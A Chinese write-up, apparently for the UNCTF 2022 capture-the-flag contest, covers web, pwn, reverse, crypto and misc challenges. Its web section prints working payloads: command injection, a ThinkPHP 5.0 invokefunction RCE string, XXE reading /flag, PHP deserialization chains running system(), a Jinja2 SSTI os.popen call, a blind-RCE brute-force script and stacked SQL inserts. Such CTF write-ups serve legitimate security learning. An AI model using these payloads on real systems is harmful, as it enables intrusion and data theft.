web

我太喜欢bilibili大学啦–中北大学

打开就一个phpinfo
直接搜flag直出

虽然我是中北大学的,但这不是我们实验室出的题
略感离谱

签到-吉林警察学院

打开有行注释
以为拿来当用户名密码登录就完了来
结果只有个登录成功
假签到题
尝试使用其他用户名(规律:用户名=密码)
发现学号改一下会出现字符
再试试还有
开始爆破
burp先设置最后一位为变量从1爆到9
然后再设置两位为变量从10开始往后爆
最后手打的flag
懒得写脚本了(为了个签到题写脚本不太划算)

easy_upload-云南警官学院

传个一句话mua写的图片🐎
进去发现不行
试了半天
把ContentType改成png
传进去了
然后🐜🗡连一下
找flag
在/home/ctf/flag

302与深大-深圳大学

进去提示302重定向
burp抓包
然后让get和post传参进去
最后改cookie: admin=true
flag get√

我太喜欢bilibili大学啦修复版-中北大学

打开又是phpinfo
看题目描述找hint
于是搜索hint
发现指向admin_unctf.php
看源码发现注释

在这里插入图片描述
再抓包,发现hint2
get 用户名密码unctf2022
审源码
注入点为cookie的rce
cmd=127.0.0.1|cat /flag
在这里插入图片描述
得到个网址
指向B站用户界面,flag出现在个签里

babyphp-中国人民公安大学

在这里插入图片描述
先是弱类型0e1直接过
的二个弱类型比较sha1值
拿出收集的sha1值为0exxxx的字符组个payload post上去:
a=0e1&key1=aaroZmOk&key2=aaK1STfY
当然用数组绕过也可以
a=0e1&key1[1]=1&key2[1]=2
发现回显有手就行
说明到最后一步了找了半天姿势
print env出了
?code=print_r(exec("env"));

ezgame-浙江师范大学

进入游戏发现999滴血比10滴血
于是直接定位血量,搜索10和999
发现10有一对110干扰,不好定位
于是从999下手
把mainjs放到本地
把代码缩起来方便看
发现999(5149行)在120里面定义
往前找new的r发现定位到146(5104)

在这里插入图片描述
去看146
发现个life和maxlife
选择maxlife下手
先下个断点
在这里插入图片描述
运行后调用来生成各个属性,一开始给的是10 即自己的血量
再继续运行直到t=999
再修改右侧作用域里的t为0
继续运行flag弹出
在这里插入图片描述

给你一刀-西南科技大学

放个tp5.0的页面在主页
指向性太明显了
直接搜tp5.0漏洞
当然以rce为主
只看了前几个网址
共有两种payload
试了之后有一种成功
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=env

听说php有一个xxe-西南科技大学

拿出xxe最简单的payload(做buuctf某xxe题时payload留的)
用raw格式发包

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY flag SYSTEM "file:///flag">
]>
<root>
<username>&flag;</username>
<password>2333</password>
</root>

在这里插入图片描述

快乐三消-河南理工大学

做ctfshow的黑盒题做多了这种题就好说了
先扫目录扫到admin和.git
githack直接down下来
发现没多少东西
转去看admin
也没注释啥的
开始猜密码
没猜到
放了一段时间回来看想到admin目录下还可能有备份泄露
之前光跑的主目录下的
跑admin下发现个login.php.bak
有注释admin/unctf
进入后台
在这里插入图片描述

本来又想upload的时候
直觉告诉我应该不是
转去看源码
发现fi.php?filename=index.php

到这里后发现刚才扫目录的时候也扫到fi了
但是当时不知到咋用
fi应该是file吧
学会了,下会遇见就接?filename=

定位到那个按钮发现是个网站套网站,应该能读flag
/admin/fi.php?filename=/flag
读到
题本身不难
但是误导性太强了
出题师傅tql

ezunseri-西华大学

destruct->get->toString->invoke->绕过wakeup

<?php
class Exec
{
    public $content;

    public function execute($var)
    {
        eval($this->content);
    }

    public function __get($name)
    {

        echo $this->content;
    }
    public function __invoke()
    {
        $content = $this->execute($this->content);
    }

    public function __wakeup()
    {
        $this->content = "";
        die("1!5!");
    }
}


class Test
{
    public $test;
    public $key;

    public function __construct()
    {

        $this->test = new Exec();
        $this->test->content = "system('cat /fl*');";
    }
    public function __toString()
    {
        $name = $this->test;
        $name();
    }
}

class Login
{
    public $name;
    public $code = '3.1415926';
    public $key;

    public function __destruct()
    {

        if ($this->code = '3.1415926') {
            return $this->key->name;
        }
    }
}

$a = new Login();
$a->key = new Exec();
$a->key->content = new Test();
echo serialize($a),"\n";

得到
O:5:"Login":3:{s:4:"name";N;s:4:"code";s:9:"3.1415926";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":1:{s:7:"content";s:19:"system('cat /fl*');";}s:3:"key";N;}}}
将Exec的成员数改为2(两个任意一个即可)
绕过wakeup
O:5:"Login":3:{s:4:"name";N;s:4:"code";s:9:"3.1415926";s:3:"key";O:4:"Exec":1:{s:7:"content";O:4:"Test":2:{s:4:"test";O:4:"Exec":2:{s:7:"content";s:19:"system('cat /fl*');";}s:3:"key";N;}}}

poppop-中国人民公安大学

<?php
class A
{
    public $code = "phpinfo();";
    function __call($method, $args)
    {
        eval($this->code);
    }
    function __wakeup()
    {
        $this->code = "";
    }
}

class B
{
    public $key;
    function __destruct()
    {
        echo $this->key;
    }
}
class C
{
    private $key2;
    function __construct()
    {
        return $this->key2 = new A();
    }
    function __toString()
    {
        return $this->key2->abab(1,1);
    }
}
$b = new B();
$b->key = new C();
//$b->key->key2 = new A();
echo urlencode(serialize($b)), "\n";
echo serialize($b), "\n";

babynode-云南大学

看题目描述
原型链污染
直接套

ps:感觉见过类似的题好像是ctfshow?

json格式传

{"__proto__":{"id":"unctf"}}

在这里插入图片描述

easy ssti-金陵科技学院

jinjia2
ssti常用payload随便上一个
过滤class
各种操作掩护一下class
都不行
class查的很严啊
别骂了别骂了
在这里插入图片描述

换方法:
{{x.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}
成功输出
改下payload读flag.txt
NM
在这里插入图片描述
给你点祝福了你还骗我
nnd
想到这个比赛藏flag基本都在env里
有无代打出题人服务
读env
成功
在这里插入图片描述

easy_rce-西南科技大学

提示rce的布尔盲注
发现><被过滤 不乐
写脚本直接爆

import requests

charlist = 'abcdefghijklmnopqrstuvwxyz01234567890_-'
result = ''
for i in range(7, 50):
    for char in charlist:
        url = "http://4a423fce-e3cf-4d13-9f02-f28cb11fa8ba.node.yuzhian.com.cn/index.php?code=test $(echo $(tac /?lag)|cut -c {0}) == {1}||1".format(
            i, char)
        # print(url)
        back = requests.get(url=url)
        # print(back.text)
        if "success" in back.text:
            result = result + char
            print(i, back.text)
            break
    if "fail" in back.text:
        break
print('UNCTF{' + result + '}')

EZ-2048

按下f12
发现程序监听等候在game.js
然后想到输入邀请码错误后返回error
在game.js搜索error
在这里插入图片描述
然后一直往上查到checkInvited()
仔细阅读后发现
加密方式在这里
分奇偶数进行两种异或
在这里插入图片描述
由于环境中f12自动卡在debuger
所以只能down到本地运行
在这里插入图片描述
本地起了个环境
删掉game.js的第一行
使得可以本地调试
由于需要得到这几组数据
在这里插入图片描述
需要转成正常10进制
尝试打个断点
看下数据
可以在debug中
在这里插入图片描述
点击buf后面的跳转到内存检查器
16转10后得到正常数据
在这里插入图片描述
写脚本逆回去
由于偶数列与invite的i+1相关即invite的奇数项
所以需要先将invite的奇数项全部生成
先把奇数项逆回去

view = [
    68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2,
    0, 19, 0, 0
]
inv = ''
for i in range(1, 24, 2):  # 先逆奇数项
    other = view[i - 2] if i - 2 >= 0 else 0
    view[i] ^= other

for i in range(0, 24, 2):  # 再逆偶数项
    other = view[i + 1] if i + 1 <= 23 else 0
    view[i] ^= other

for i in range(24):
    inv += chr(view[i])

print(inv)
# w3lc0me_7o_unctf2022!!!!

然后将本地的game.js中addRandomTile()
生成的随机方块改为固定的
即将223行改为
const value = 1024;
通关条件检测的是1024碰撞生成2018的过程
此处若改为2048
则无该过程
所以最快只能改为1024

我感觉该题貌似也可以通过逆向wasm来直接获取flag
不过那估计就不是web题了 乐
本来这题就是个密码学题 不乐

在这里插入图片描述

随便注-云南警官学院

过滤了or and select use(是use不是user?怪哦)双写可绕过
尝试了几下没啥手感
转去偷懒用sqlmap
先是读库,表,行都正常
记得有个haha表 笑话我是吧
然后还有个ctftranning -> FLAG_TABLE -> FLAG_COLUMN读的时候没回显貌似是空的
但是读ctftranning 里的news 里面说就在这个库里,但不在这
人傻了
在那个库里疯狂找
甚至怀疑FLAG_COLUMN里的读不到是有过滤导致的
还在那想咋绕过啥的
最后死活出不来
于是去尝试sql注入的文件操作
sqlmap --os-shell没成功?
但是--file-read "/flag"成功带回

Sqlsql-中国人民公安大学

审源码发现
多处都有addslashes_deep过滤
有想到时addslash旧版本有绕过
跟进之后发现该函数过滤挺严格的
于是放弃该方法
转向逻辑性漏洞
最后发现index.php里
在这里插入图片描述
qxxx都没有经过addslashes_deep过滤直接insert进去了
尝试从这里注进去
由于本体的重点应该是使用admin用户去查询
所以考虑能insert一个admin用户的方法
不需要查数据所以也就不需要回显
');insert into users values (NULL,'admin','2105044235');#
在index.php的做题界面随便选
burp截包将上面payload加在post的答案后面重发
然后登出
用admin登录
在这里插入图片描述

查询成绩
在这里插入图片描述

这里查询任何一位存在的用户都可以get flag

PWN

welcomeUNCTF2022-云南警官学院

在这里插入图片描述

在这里插入图片描述

石头剪刀布-西华大学

伪随机数
伪代码中seed=0xA
然后pwn

from pwn import *
from ctypes import *
elf = cdll.LoadLibrary('libc.so.6')

context.log_level = 'info'

elf.srand(0xA)
k = 0
list = []

conn = remote('node.yuzhian.com.cn', 31599)

conn.recv()
conn.send('y')
conn.recv()
print("pwn!")
conn.recv()
print("1")

for i in range(100):
    num = elf.rand() % 3
    if num == 0:
        payload = 2
    elif num == 1:
        payload = 0
    else:
        payload = 1
    print(i, ':', payload)
    print(str(payload))
    conn.sendline(str(payload))
    tf = conn.recvrepeat(timeout=0.1)
    # if "success!!!" in str(tf):
    #     print("###################")

conn.close()
flag = conn.recvall()
print(''.join(list), tf, flag)

在这里插入图片描述

re

whereisyourkey-广东海洋大学

先看main
建了个数组
经过ooooo处理
即为flag
在这里插入图片描述

在这里插入图片描述

#include <iostream>
using namespace std;

int ooooo(int a1)
{
    if (a1 == 109)
        return 109;
    if (a1 <= 111)
    {
        if (a1 <= 110)
            a1 -= 2;
    }
    else
    {
        a1 += 3;
    }
    return a1;
}

int main()
{
    int v5[10], i;
    v5[0] = 118;
    v5[1] = 103;
    v5[2] = 112;
    v5[3] = 107;
    v5[4] = 99;
    v5[5] = 109; // //109
    v5[6] = 104;
    v5[7] = 110;
    v5[8] = 99;
    v5[9] = 105;

    cout<<"UNCTF{";
    for (i = 0; i <= 9; ++i)
    {
        v5[i] = ooooo(v5[i]);
        cout << (char)v5[i];
    }
    cout<<"}";
}

ezzzzre-广东海洋大学

在这里插入图片描述
直接根据他的处理flag = 2 * aHelloctf[i] - 69;
在这里插入图片描述

#include <iostream>
using namespace std;

int main()
{
    string aHelloctf = "HELLOCTF";
    string flag;
    int i;
    for (i = 0; i <= 7; ++i)
    {
        flag = 2 * aHelloctf[i] - 69;
        cout << flag;
    }

    //cout << flag << endl;
}

crypto

dddd-西南科技大学

就0和1 转成.-
/转成空格
莫斯解
赛博厨子构造一手一把梭

md5-1-西南科技大学及misc小心海最后一步脚本

from hashlib import md5

######这里是MD5-1的脚本

file = open("outben.txt", 'r')
line = file.readlines()
# rint(line)

list = [
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
    'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4',
    '5', '6', '7', '8', '9', '0', '{', '}', '_'
]
flags = []
for i in line:
    for j in range(0, 36, 1):
        md = md5(list[j].encode()).hexdigest()
        if (i.strip('\n') == md):
            flags += list[j]
flag = ''.join(flags)
print('UNCTF{'+flag+'}')

####################下面是misc小心海的脚本,因为很像,直接拿md5-1的改的

from hashlib import md5

file = open("out.txt", 'r')
line = file.read()
md = []
for i in range(0, 21):
    md.append(line[i * 32:(i + 1) * 32].lower())
print(md)

list = [
    'U', 'N', 'C', 'T', 'F', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
    'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y',
    'z', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '{', '}', '_'
]
flags = []
for i in md:
    for j in range(0, 44, 1):
        md = md5(list[j].encode()).hexdigest()
        if (i == md):
            flags += list[j]
flag = ''.join(flags)
print(flag)

md5-2-西南科技大学

from hashlib import md5

file = open("out.txt", 'r')
line = file.readlines()
# rint(line)

list = [
    'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o',
    'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '1', '2', '3', '4',
    '5', '6', '7', '8', '9', '0', '{', '}', '_', 'U', 'N', 'C', 'T', 'F'
]
flags = []
t = []
for i in range(0, 39):
    for j in range(0, 44, 1):
        if i == 0:
            f = int(md5(list[j].encode()).hexdigest(), 16)
            hexed = hex(f)[2:]
            if (line[i].strip('\n') == hexed):
                flags += list[j]
                t.append(f)
        else:
            f = int(md5(list[j].encode()).hexdigest(), 16)
            hexed = hex(f ^ t[i - 1])[2:]
            if (line[i].strip('\n') == hexed):
                flags += list[j]
                t.append(f)
flag = ''.join(flags)
print(flag)

caesar-西南科技大学

凯撒换表base

# B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}
# UNCTF{w0w_Th1s_d1fFerent_c4eSar}
# ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
# K=+19
file = open("caesar.txt", "r")
t = []
o = file.read()
list = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# f = o.strip('\n')
for i in range(0, 27):
    for j in range(0, 64):
        print(o[i])
        if o[i] == list[j]:
            if j + 19 <= 64:
                t.append(list[j + 19])
            else:
                t.append(list[j + 19 - 64])
            # print(t)
            break
            # (list[j + 19])
            # break
        # print(o[i], list[j])
flag = ''.join(t)
print(flag)

Single table-西南科技大学

paymfairx密码修改
对称加密的流密码
根据key和table对应关系
列出新table如下图左侧
根据交叉对应关系得到右侧第三行
(第四行是我转小写尝试,还忘了个T)
发现前面完美对应
后面却出现错误
看koqw像know
know啥哪
paymfairx密码吗
略作改动:
UNCTF{GOD_YOU_KNOW_PLAYFAIR}
也不知道是故意需要修改的还是
我有那个细节错了
反正能做出来不管了

在这里插入图片描述

Multi table-西南科技大学

略修改加密算法
使其输出table,base_table.index(flag[i])来得到其他无关随机数的固定数据
可得出UNCTF加密得到的SDCG
分别在table[?、?、?、?][9、14、5、16]
由此可根据前四位密文逆推出key = [9, 15, 23, 16]
这样解密所需的全部数据得到
编写解密脚本
加密:

flowchart LR
	加密 --> flag
	加密 --> key
	flag --> base_table列 -->table列
	key --> table行
flowchart LR
	解密 -->key
	table行 -->table列 --c--> base_table列 --> flag
	key --> table行
from string import ascii_uppercase
from binascii import b2a_hex,a2b_hex

flag = ''
c = 'SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'
base_table = [
    'J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N',
    'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B'
]
table = {}
key = [9, 15, 23, 16]
for i in range(26):
    table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]
x = 0

for i in c:
    if i in ascii_uppercase:
        bt_num = table[key[x%4]].index(i)
        flag += base_table[bt_num]
        x += 1
    else:
        flag += i
print(flag)

以后找时间学学密码吧
之前一直想学一直没找到时间
靠着从misc那学的古典密码啥的,写了前几题的脚本
还有积累的脚本工具走到这
rsa好多解应该是基础的rsa,想拿工具试试来,苦于不咋会用于是rsa作罢
比完赛一定找大佬学学

MISC

magic_word-西南科技大学

提示都送到嘴边了
直接零宽一把梭
在这里插入图片描述

syslog-浙江师范大学

打开是个系统日志文件
寻找敏感信息例如
发现能搜索到password
在这里插入图片描述
解base得到压缩包密码
秒出

In_the_Morse_Garden-陆军工程大学

pdf发现隐藏字符
赛博厨子构造一手
在这里插入图片描述

芝麻开门-广东海洋大学

txt下面有段base
a2V5MQ==
拿他当lsb密码,一把梭

找得到我吗-闽南师范大学

docx,隐藏字符,零宽都试过了
以为触及知识盲区了
放了发现已经很多解了
然后鼓起勇气看了下xml
发现还真在里面

misc刷的文档题不多,还没大见过放在xml里的,我太菜了,还好知道这个知识点
但那道社什么社这么多解是真没想到,没对上脑电波?

在这里插入图片描述

zhiyin

小~黑子!

hex看篮球,一眼倒了
逆过来
Go_p1ay(那个1和l我当时都没发现,还有下划线也没划清楚,傻乎乎试了半天)
下半段zhiyinhex里发现.-莫斯出
在这里插入图片描述

巨鱼-河南理工大学

上来binwalk下
出来个压缩包
对fish一通操作没找到密码
卡了半天去看别的题了
回来发现png有大问题
修改长宽高发现无所谓我会出手
解压
文档有密码
去看图片

我当时一眼苯环,服了,高中化学差点还给老师了

本来以为氯化苯
输入C6Cl6、汉语等都不对
静下心来一看,这nm不是苯环
再试C6H6Cl6还不对
脑洞一开 666
flag get√
在这里插入图片描述

清和fan-江西警察学院

在这里插入图片描述
先是注释提示社工
很容易找到
解压缩
lsb隐写
在这里插入图片描述
得到第二层密码
发现段wav文件
听了下,这频率感觉像sstv

vmware的Kali前几个月转wsl了
kali临时现装sstv出了点bug
网上找了半天发现个手机软件

大晚上的 舍友都在打游戏,吵得很
于是去阳台识别
北方地区大晚上冷得很
识别了好几次
出来个微糊的

在这里插入图片描述
flag get√

清和是吧,举办了 不是

剥茧抽丝-内蒙古警察职业学院

nm看到这注释,有多少人想到的是掩码
hashcat跑了好几分钟
发现密码就是这
小丑竟是我自己
在这里插入图片描述
零宽换了几个方式,终于出了(文件零宽)

在这里插入图片描述
结果,这不是下一层密码
看了眼hint
crc不一样
没对上脑电波
卡了几天?
想到,外面的比里面的大,能删减啊
把零宽的部分删了
发现正好
明文攻击
在这里插入图片描述
然后再用上面一层零宽解出来的解密码
flag get
颓废~(这个题是拖得最长的,不乐)

我小心海也绝非鳝类-中国计量大学现代科技学院

小心海说的话解base92
一开始ocr识别的c成大写了
解出来有不可打印字符
检查了一遍改过来了

然后发现能lsb EASYLSB
尝试把小心海的话当密码再解lsb
发现串16,开始误入歧途转了文件
想到小心海给我说的话
尝试md5转
切片32位
再改下md5-1的脚本==细看的话去cypto区md5-1看吧
直出
在这里插入图片描述